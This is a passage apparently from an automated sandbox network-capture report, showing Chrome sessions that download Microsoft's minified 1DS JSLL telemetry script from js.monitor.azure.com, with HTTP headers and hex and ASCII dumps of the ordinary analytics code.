74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-12-31 08:51:16 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-12-31 08:51:16 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49928	13.107.246.63	443	8168	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:51:17 UTC	370	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-31 08:51:17 UTC	896	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:51:17 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 275be117-b01e-0006-4a05-581325000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241231T085117Z-156796c549b8vs9phC1EWRnrp40000000c6g000000003abw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-12-31 08:51:17 UTC	15488	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-12-31 08:51:17 UTC	16384	IN	Data Raw: 22 2b 74 5d 29 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 Data Ascii: "+t])?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&
2024-12-31 08:51:17 UTC	16384	IN	Data Raw: 74 69 6f 6e 20 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 Data Ascii: tion gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,fu
2024-12-31 08:51:17 UTC	16384	IN	Data Raw: 29 2c 68 28 29 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f Data Ascii: ),h(),m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reaso
2024-12-31 08:51:17 UTC	16384	IN	Data Raw: 28 7b 4e 6f 72 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 Data Ascii: ({Normal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}ret
2024-12-31 08:51:17 UTC	16384	IN	Data Raw: 28 6f 2c 22 41 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 Data Ascii: (o,"Auto track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=fu
2024-12-31 08:51:17 UTC	16384	IN	Data Raw: 63 6f 6e 66 69 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 Data Ascii: config.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._s
2024-12-31 08:51:17 UTC	16384	IN	Data Raw: 65 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 Data Ascii: e)return!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t
2024-12-31 08:51:17 UTC	16384	IN	Data Raw: 67 3d 22 57 65 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 Data Ascii: g="WebAuthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split"
2024-12-31 08:51:17 UTC	16384	IN	Data Raw: 61 28 65 5b 6d 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f Data Ascii: a(e[mv])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49994	13.107.246.63	443	8168	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:51:22 UTC	427	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Range: bytes=179328-179328 If-Range: 0x8DCEC757C1AD1D1
2024-12-31 08:51:22 UTC	889	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:51:22 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 275be117-b01e-0006-4a05-581325000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241231T085122Z-156796c549btrkz2hC1EWRgnns0000000d8000000000058d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-31 08:51:22 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-12-31 08:51:22 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-12-31 08:51:22 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-12-31 08:51:22 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
